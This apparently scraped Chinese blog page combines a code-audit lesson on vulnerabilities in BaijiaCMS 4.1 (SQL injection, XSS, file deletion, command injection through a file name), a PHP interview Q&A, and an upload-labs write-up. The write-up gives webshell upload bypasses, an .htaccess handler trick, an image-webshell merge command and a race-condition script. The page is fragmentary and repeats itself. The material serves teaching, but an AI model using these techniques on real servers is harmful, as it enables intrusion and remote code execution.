由于本次公开课给大家讲解的是如何在实战中进行代码审计的一些思路以及具体的实战过程,所以有些漏洞是通过注释全局过滤函数造成,以便大家学习。 查看全部
PHP代码审计之百家CMS4.1
本篇着重从代码审计方向出发
进行漏洞挖掘
三、PHP前置知识
PHP是一种弱类型语言,相对于Java来说它没有对数据类型进行严格的定义。所以入门代码审计的PHP是一个不错的选择。
预定义变量:
用于收集来自 method="XXX" 的表单中的值,也就是说我们的参数是经过这些系统变量来传递到后端的,这些函数是传参的入口。
$_GET <br />$_POST <br />$_REQUEST<br />$_FILES
函数:
用来实现某种功能的一段代码且函数被调用才可执行,如果一个函数中存在危险函数,且危险函数可被利用,但函数是没有被调用,那这个利用点还是利用不了的。
例子
危险函数:
本次只列出本系统需要用到的危险函数,随着课程的深入以后会介绍与项目中用到的危险函数供大家学习。
include() //文件包含,被包含的文件会被当做PHP代码执行<br />system() //执行系统命令 <br />file_get_contents() //把整个文件读入一个字符串中。<br />file_put_contents() //把一个字符串写入文件中<br />unlink() //用来删除文件
函数的详细介绍可以访问如下链接:
https://www.runoob.com/php/
四、百家CMS代码审计路由分析
通过渗透测试观察目录结构,发现该系统的所有功能点放在system目录下,而每个功能点都对应两个文件夹calss、template,class下存放的是每个功能的后端代码,template下是前端代码。由于是商城系统,该系统分为网页端和手机端,所以class、template目录下分别放有mobile手机端代码、web网页端代码。
1.XSS
这里act代表system文件夹下某个功能点,do代表功能点下的具体PHP文件,而op则代表在该文件中走哪个分支。以此类推下面的路由构成方式与该处相同
通过上面路由可以很快找到对应的PHP代码,在post分支中发现sname,website通过前端传入。
在展示页面,我们发现在最下面包含了store_display.php,而store_display.php文件中发现该处参数通过页面渲染在前端通过echo进行输出,从而造成XSS。
2.SQL注入
通过渗透测试中路由找到store.php文件,$_GP['sname']接收我们输入的payload并且直接拼接到SQL语句中,造成SQL注入。
3.任意文件夹删除
通过渗透测试中路由找到database.php文件,通过前端传递过来的id参数与$path进行拼接后,使用is_dir()判断是否为目录,是目录的话进入redirs()进行删除操作。这里就解释了为什么只能删除文件了
redirs()中判断我们传过来的参数是否是目录是目录就遍历出文件进行删除,不是就直接删除该文件。全程没有任何过滤,所以造成任意文件删除。
4.任意文件删除二
全局搜索unlink(函数,发现common.inc.php中的file_delete()函数可以被利用
全局搜索file_delete()函数,观察哪里调用了它而且参数可被利用,最终找到uploader.php,这里的file参数是从前端传入且可被利用
我们跟进file_delete()函数中,想要进入unlink(),就必须要$settings['system_isnetattach']不为空,
全局搜索system_isnetattach发现该参数是从netattach.php中接收的,我们通过上面的路由分析也可以轻松构造出该路由,也可通过该文件的中文提示找到该功能点。
对应的功能点就是附件设置,system_isnetattach就是设置图片压缩比例,这里只要随意设置不为空就可以了。
由于此处文件删除是需要手动创建对应的前端页面,为了方便我们通过访问路由来实现文件删除。
在根目录下建一个demo.txt,构造url访问
http://www.baijia.com:8011/bai ... %3Bbr />
5.任意文件写入
通过渗透测试中路由我们定位到漏洞点file.php文件,获取前端传入的url,将url的值传入到fetch_net_file_upload()中。
跟进fetch_net_file_upload()函数,file_get_contents()读取文件内容后,紧接着使用file_put_contents()将文件内容写入到$file_tmp_name文件中,并且后缀是从读取的文件截取到的,所以就造成了任意远程文件上传。
6.命令执行
通过渗透测试中路由我们定位到漏洞点setting.php,$file['name']是从$_FILES中传入
也就是我们这里上传处的文件名
setting.php中,首先判断文件名为txt后就要进入到file_save(),并且$file['name']作为它的参数传入,如下图
跟进file_save()函数,该函数中传递过来五个参数
在下面的system()函数中,将$file_full_path参数拼接进来而该参数正是我们前端传递的$file['name']值,所以通过&分割,就造成了命令执行。
初学代码审计我推荐大家配合工具进行审计,因为工具可以帮助大家在前期更好的定位漏洞点,以及帮助大家熟悉一些PHP中的敏感函数。
1)Seay
2)Fortify
五、总结
由于本次公开课给大家讲解的是如何在实战中进行代码审计的一些思路以及具体的实战过程,所以有些漏洞是通过注释全局过滤函数造成,以便大家学习。
php截取字符串网站内容 PHP面试100题汇总【21-40题】
网站优化 • 优采云 发表了文章 • 0 个评论 • 75 次浏览 • 2022-06-18 03:48
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理 查看全部
php截取字符串网站内容 PHP面试100题汇总【21-40题】
图书推荐
正文内容
21.在PHP中error_reporting这个函数有什么作用? (1分)
答:设置错误级别与错误信息回报
22.JS表单弹出对话框函数是?获得输入焦点函数是? (2分)
答:弹出对话框: alert(),prompt(),confirm()
获得输入焦点 focus()
23.foo()和@foo()之间有什么区别?(1分)
答:@foo()控制错误输出
24、mysql_fetch_row() 和mysql_fetch_array之间有什么区别? (1分)
答:mysql_fetch_row是从结果集取出1行数组,作为枚举
mysql_fetch_array是从结果集取出一行数组作为关联数组,或数字数组,两者兼得
25、GD库是做什么用的? (1分)
答:gd库提供了一系列用来处理图片的API,使用GD库可以处理图片,或者生成图片。
在网站上GD库通常用来生成缩略图或者用来对图片加水印或者对网站数据生成报表。
26.面向对象编程
有两个重要的概念:类和对象
类是具备某项功能的抽象模型,实际应用中,还需要对类进行实例化后使用。这样就引入了对象的概念。
对象是类进行实例化后的一个产物,是一个实体。
封装 :把客观的事物封装成一个抽象的类。
继承:子类继承父类,可以使用父类的属性和方法。可以实现接口,同时实现接口中的所有方法
多态:覆盖和重载 子类可以覆盖父类中的方法;一个类中可以同时拥有同一个函数名的方法,但是方法的参数不同,实现的结果也不同。
27.php框架
熟悉YII ,Thinkphp还有laravel ,symfony2,cakephp
28.mysql存储引擎
ISAM: 查询速度快、增删改慢,支持全文索引、不支持外键、不支持事务
MyISAM: ISAM升级版
Memory: 数据驻留在内存、速度快、数据管理不稳定、断电后数据全部丢失
InnoDB: 速度较慢、支持外键、支持事务、不支持全文索引
使用的存储引擎
MyISAM:内容管理系统(新闻、官网、电商、软件下载、房屋、招聘...) 可读不可改 大部分是浏览信息
InnoDB:技术型网站(bbs、blog、webo、oa...)
29.数据库操作流程
$link = mysql_connect("localhost","root","root");<br />mysql_select_db("test",$link);<br />$sql ="select * from table";<br />$result = mysql_query($sql);<br />while($row =mysql_fetch_****($result) ){<br />$arr[]=$row;<br />}<br />$row = mysql_fetch_array($result) 意思:$row['name'] 和$row[1] 都可以取到值<br />$row = mysql_fetch_row($result)) 意思:$row[1] 只有用索引取值,偏移量从0开始。<br />$row = mysql_fetch_assoc($result)) 意思: $row['name'] 字段名作为索引取值 抽取一条记录转为 关联数组,失败返回false<br />
30.php 加密函数
crypt($str[,$slat]) 可以完成单向加密功能
md5()
sha1() 返回一个40位的十六进制数,
加密扩展库
Mcrypt() 和Mash
31、字符串“to upper case” 分别用php,shell ,js实现将字符串中的字符全部转换成大写并输出。(5分)
Php实现: echo strtoupper(‘to upper case’)
Shell实现:echo "to upper case" | tr 'a-z' 'A-Z'
Js实现:
<br />var stmp1 = " to upper case ";<br />alert(stmp1.toLocaleUpperCase());//转换成大写<br />alert(stmp1.toUpperCase())//转换成大写<br /><br />
32.防止SQL注入
1)一般使用 addslashes 函数
addslashes 函数在制定的预定义字符前添加反斜杠
对字段和密码MD5加密处理
预处理过滤处理
文件上传漏洞总结
网站优化 • 优采云 发表了文章 • 0 个评论 • 288 次浏览 • 2022-06-18 03:04
现在我们来到第二关,先看看有没有JS检查
很可惜,没有"纸老虎",那我们只能另寻他法
提示文件类型不正确,猜测是判断后端检测了上传文件的MIME类型.那我们要如何修改?首先使用burp抓包
可以看到content-type现在是显示文本的一个类型,将其改为图片格式,绕过检查
放包
上传成功,之后的步骤和第一关一样连接蚁剑即可.
源码:
3.黑名单绕过
黑名单绕过有比较多的类型:
3.1 上传特殊可解析漏洞
通常网页会给我们上传的内容加上黑名单,即有些特定后缀的文件无法上传,那我们要想办法绕过黑名单的检测
常见的特殊后缀有:.phtml .phps .php5 .pht
一般黑名单禁止上传php类型文件的时候,我们可以将其改为以上几种特殊后缀即可绕过检测.
类似这样即可.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array('.asp','.aspx','.php','.jsp');<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //收尾去空<br /><br /> if(!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; <br /> if (move_uploaded_file($temp_file,$img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}
3.2 大小写绕过
直接看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /><br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
和上一个知识点对比,看看有什么区别
首先是这里的黑名单数量急剧增加,特殊后缀全都被ban了,其次很重要的一点:$file_ext = strtolower($file_ext);消失了.
这个函数代表的是转换为小写字母,如果这个函数消失,并且服务器是区分大小写,这时候我们将php改为pHp即可绕过黑名单.
3.3 陌生后缀解析绕过
这个知识点并没有专门的一关,但是做题目的时候也经常会遇到.
原理也很简单,当阿帕奇服务器无法解析一些奇怪的后缀的时候,例如.asfsdfsd这种,就会自动往前搜索可以使用的后缀名.
比如1.php.asfsdsad,就会向前检索为1.php,利用这个特性可以绕过一些黑名单.
3.4::$DATA 文件数据流传输
原理:在后缀名加::DATA后会令后面的数据以文件流的形式进行传输,同时也能保持::$DATA前面的格式,在文件被系统解析后 这段字符会被系统去除(windows系统下)
例如 1.php 抓包分析 可以修改成filename=’1.php::$data’ 实现上传注入后门文件
查看源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = deldot($file_name);//删除文件名末尾的点<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br />
相比于之前的代码,少了$file_ext = str_ireplace('::$DATA', '', $file_ext);,这个函数的意思是删除'::$DATA'字符串.
这时我们就可以使用::$DATA绕过.
3.5点绕过
原理:
利用windows特性,会自动去掉后缀名中最后的".",可在后缀名中加"."绕过.
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");<br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_ext = strrchr($file_name, '.');<br /> $file_ext = strtolower($file_ext); //转换为小写<br /> $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA<br /> $file_ext = trim($file_ext); //首尾去空<br /> <br /> if (!in_array($file_ext, $deny_ext)) {<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name;<br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = '此文件类型不允许上传!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
对比,发现少了$file_name = deldot($file_name);
deldot函数的作用是删除末尾的点.
这时候就可以使用点绕过.
3.6 双写绕过
当面对in_array这种检测力度不高的函数的时候,它检测的是是不是完全一样.比如"php"和"php.123"对他来说就是不一样的,这时候我们可以使用陌生后缀来绕过.
但是面对
str_ireplace 函数的时候,他的检测力度高,若我们输入php9,会匹配黑名单第一个php,把你删的只剩下’9’一个字符.这时候我们只需要进行双写绕过即可.
这样中间的php三个被删了,还剩下php,因为很多时候没有循环检测机制,所以就可以绕过了.源码:
$is_upload = false;<br />$msg = null;<br />if (isset($_POST['submit'])) {<br /> if (file_exists(UPLOAD_PATH)) {<br /> $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");<br /><br /> $file_name = trim($_FILES['upload_file']['name']);<br /> $file_name = str_ireplace($deny_ext,"", $file_name);<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = UPLOAD_PATH.'/'.$file_name; <br /> if (move_uploaded_file($temp_file, $img_path)) {<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else {<br /> $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';<br /> }<br />}<br /><br />
4. 上传.htaccess)
查看提示:
好家伙,这么多黑名单,不急,给大家介绍一个新的后缀 -- .htaccess
我们先创建一个名为".htaccess"的文件,因为没有文件名只有后缀名,所以有时候可能在桌面新建不了,我们需要在文件夹中新建它.
在文件中写入:
SetHandler application/x-httpd-php
这三行代码的意思是通过一个.htaccess 文件调用 php 的解析器去解析一个文件名中只要包含”shell”这个字符串的任意文件,所以无论文件名是什么样子,只要包含”shell”这个字符串,都可以被以 php 的方式来解析,是不是相当邪恶,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制的文件后缀名随便写但不可以是黑名单里面的后缀,如shell.jpg.将其上传之后,.htaccess 文件调用php 的解析器去解析shell.jpg,从而让一句话木马生效.
5. 00截断原理
0x00是字符串的结束标识符,这样服务器检测到0x00后就停止了向后检测,后面的内容就等于被注释了.依靠这点可以帮助我们绕过检测.
误区
有很多人喜欢在文件名中加进行截断,但其实这种方式是不对的,比如攻击者构造文件名:admintony.phpa.jpg,在提取后缀名的时候遇到则认为字符串结束了,那么他提取到的后缀名会是.php,.php后缀又不允许上传所以上传失败了(这里有必要提一句,有人可能会说在一些情况下,截断文件名可以成功,这种案例你试一下是不是任意文件上传,西普的00截断实验就是一个任意文件上传的上传点,既然是任意文件上传又何必用00截断绕过呢?)
正确用法
那么00截断应该在什么时候使用呢?数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php
为什么修改path才可以,因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名,那么攻击者修改了path以后的拼接结果为:uploads/aaa.php/*********.******,移动文件的时候会将文件保存为uploads/aaa.php,从而达到Getshell效果。
我们先看源码再看实战:
$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $ext_arr = array('jpg','png','gif');<br /> $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);<br /> if(in_array($file_ext,$ext_arr)){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;<br /><br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = '上传出错!';<br /> }<br /> } else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!";<br /> }<br />}<br /><br />
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
$img_path是直接拼接,因此可以利用截断绕过.
通过Burp Suite将save_path=../upload/ HTTP/1.1使用进行截断-> save_path=../upload/shell.php HTTP/1.1
将文件后缀改为允许上传的后缀,在第一行路径处添加如图信息
特别注意!!!
00截断必需条件是php版本号在5.3.4以前(不能包含5.3.4版本),我之前试了很多次都无法成功,换了一关查看那个网页的靶场php版本超过5.3.4了,所以又换了一个靶场.而且php的magic_quotes_gpc要为OFF状态.
另外,如果用的是post传输,我们需要多进行一步解码手段.
记得写完要用burp自带的功能给它解码一下,因为get传输的时候会自动解码,而post传输的时候不会自动解码.
6.图片马及图片马的二次渲染漏洞原理
一般文件内容验证使用getimagesize()、exif_imagetype()检测(当然也可能只检测文件头),会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
本实验就是将一句话木马插入到一个合法的图片文件当中,然后用文件包含漏洞得到连接地址。
图片马的制作
copy a.png /b + a.php /a 3.png<br />/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件<br />/a:指定以ascii格式复制、合并文件用于txt等文本类文件<br /><br /><p>这句话的意思是将a.png和a.php合并为3.png</p>
当然要特别注意:
图片马不能单枪匹马就得到flag,需要和别的手段一起使用才行,比如文件包含漏洞或者条件竞争漏洞才行.
源码:
function isImage($filename){<br /> $types = '.jpeg|.png|.gif';<br /> if(file_exists($filename)){<br /> $info = getimagesize($filename);<br /> $ext = image_type_to_extension($info[2]);<br /> if(stripos($types,$ext)>=0){<br /> return $ext;<br /> }else{<br /> return false;<br /> }<br /> }else{<br /> return false;<br /> }<br />}<br /><br />$is_upload = false;<br />$msg = null;<br />if(isset($_POST['submit'])){<br /> $temp_file = $_FILES['upload_file']['tmp_name'];<br /> $res = isImage($temp_file);<br /> if(!$res){<br /> $msg = "文件未知,上传失败!";<br /> }else{<br /> $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;<br /> if(move_uploaded_file($temp_file,$img_path)){<br /> $is_upload = true;<br /> } else {<br /> $msg = "上传出错!";<br /> }<br /> }<br />}<br /><br />
其他的两关都是类似,只是仅仅换了一下检测图片的函数,目的就是为了检测我们上传的是否是真正的图片.
如果可以看到源码只检测文件头的话,我们只需要在一句话木马前加上 GIF89a,上传php类型的木马即可绕过检测.
图片马的二次渲染二次渲染原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
绕过:
配合文件包含漏洞:将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
如何判断图片是否进行了二次处理?
对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了哪些数据
特别注意!二次渲染我强烈推荐使用GIF格式的,因为jpg和png格式的二次渲染十分复杂,需要用到脚本,GIF的二次渲染算是比较简单.
实验步骤
1、创建一个a.php的脚本文件
2、在cmd命令行中,使用以下命令把1.gif和a.php合成图片马2.gif
3、使用010 Editor16进制编辑器查看2.gif内容,可以看出php代码已经插入图片马中了
4、上传图片马,并复制图片链接进行查看
5、右击复制图片,将图片下载到本地
6、使用010 Editor16进制编辑器打开图片,发现末尾的php代码没有了
GIF绕过二次渲染的方法,就是通过对比上传前和上传后的两个文件,如果说哪个位置,它的上传前和上传后的没有变,我们就把php一句话代码插入到这个位置
7、使用010 Editor16进制编辑器打开上传前的文件和上传后的文件,并对文件进行比较:
8.蓝色部分就是没有改变的地方,接着我们就可以将一句话木马插入蓝色部分,可以成功连接蚁剑.
7.条件竞争漏洞漏洞原理:
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。
由于服务器并发处理(同时)多个请求,假如a用户上传了木马文件,由于代码执行需要时间,在此过程中b用户访问了a用户上传的文件,会有以下三种情况:
1.访问时间点在上传成功之前,没有此文件。
2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
3.访问时间点在判断之后,文件被删除,没有此文件.
总结起来一句话,因为服务器要在短时间里处理大量内容,但是解析代码需要时间,所以就会有破绽出来,我们就是利用这短暂的破绽进行绕过.
实验背景
先看源码:
$is_upload = false;<br />$msg = null; //判断文件上传操作<br /><br />if(isset($_POST['submit'])){ //判断是否接收到这个文件<br /> $ext_arr = array('jpg','png','gif'); //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'<br /> $file_name = $_FILES['upload_file']['name']; //获取图片的名字<br /> $temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径<br /> $file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀<br /> $upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。<br /><br /> if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存<br /> if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比<br /> $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //如果存在,就对文件名进行重构<br /> rename($upload_file, $img_path); //把上面的文件名进行重命名<br /> $is_upload = true;<br /> }else{<br /> $msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。<br /> unlink($upload_file);// 并删除这个文件<br /> }<br /> }else{<br /> $msg = '上传出错!';<br /> }<br />}
代码处理流程:声明一个数组,保存着允许上传的文件类型–>获取文件名和文件临时存储路径–>截取文件名–>构造文件上传后的存储路径–>对文件进行转存–>比对白名单,如果存在就对文件进行重命名–>否则就删除文件。通过上面代码我们发现:
服务器先通过move_uploaded_file函数把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致防护被绕过。
我们上传一个文件上去,后端会检验上传文件是否和要求的文件是否一致。如果不能达到要求就会删除文件,如果达成要求就会保留,那么当我们上传文件上去的时候,检测是否到达要求需要一定的时间,这个时间可长可短,但是我们确确实实在某一刻文件已经上传到了指定地址,并且访问到这个文件。这时候就会造成条件竞争。
看懂了源码以后,我们模拟一下条件竞争的场景:10000人同时上传文件1.php,另外有10000人在同时访问这个1.php;上传文件时,这个文件会有一段时间留存在服务器的上传目录下,而服务器脚本在进行判断文件是否合法而对文件进行删除时,会有一定的处理时间,可能在某个时间里,服务器还未来得及删除文件,从而导致我们对这个上传文件成功访问。
实验过程
1.首先,改变一下我们的一句话木马
如果你想用一句话木马连接蚁剑的话那就太天真了,就是你运气好连接上蚁剑,也根本没时间查看就会被服务器删掉,所以我们就要猥琐一点,利用fputs()进行写入,当服务器解析解析完这个php文件的时候,我们就已经在该目录下创建了shell2.php了,而这个php文件里有一句话木马,且不是我们用户上传的,所以不会被删除.
2.使用burpsuite进行抓包,拦截代理流量,并把拦截到的数据包发送到Intruder模块
3.清空变量,并无止境地发送空包,模拟大量用户同时上传
为了让服务器解析变得困难点,我们将线程提高到20
设置完之后便可以开始爆破攻击了.以上便是模拟大量用户不停上传的场景,接下来我们要用模拟大量用户模拟访问.
4.使用python脚本模拟用户访问上传目标地址
import requests<br />url = "https://821-3a1ea0ce-39e7-4921 ... %3Bbr />while True:<br /> html = requests.get(url)<br /> if html.status_code == 200:<br /> print("OK")<br /> break<br /> else:<br /> print("NO")
我们可以随便上传一张图片,查看图片链接即可得到上传文件所在的url,将图片名改为我们上传的php文件,我这里是shell.php
这个脚本的意思是不停访问这个网址,直到状态码返回200,即访问成功的意思.若出现OK,代表我们上传成功,即shell2.php也被写入了该目录之下,我们就可以用蚁剑连接了.(记得连接的是shell2.php而不是shell.php,因为shell.php只是为了写入shell2.php的一个工具而已)
当然,如果用的是白名单,我们则需要使用图片马+条件竞争漏洞+文件包含漏洞三方一起才可以成功使用蚁剑连接.
总结
本次的讲解到这里基本就结束了,大家有空可以自己去过一些upload-labs这个靶场,肯定会有一些收获的.当然,文件上传漏洞可不仅仅上上面的这些,我列出来的都是基础,出的题肯定也是很灵活的,但是不管多灵活,只需要有足够扎实的基础以及代码审计能力,相信一定难不倒大家的.
最后,会利用漏洞当然也需要知道相应的防御手段:
不要暴露上传文件的位置
禁用上传文件的执行权限
黑白名单
对上传的文件重命名,不易被猜测
对文件内容进行二次渲染
对上传的内容进行读取检查 查看全部
文件上传漏洞总结
现在我们来到第二关,先看看有没有JS检查
很可惜,没有"纸老虎",那我们只能另寻他法
提示文件类型不正确,猜测是判断后端检测了上传文件的MIME类型.那我们要如何修改?首先使用burp抓包
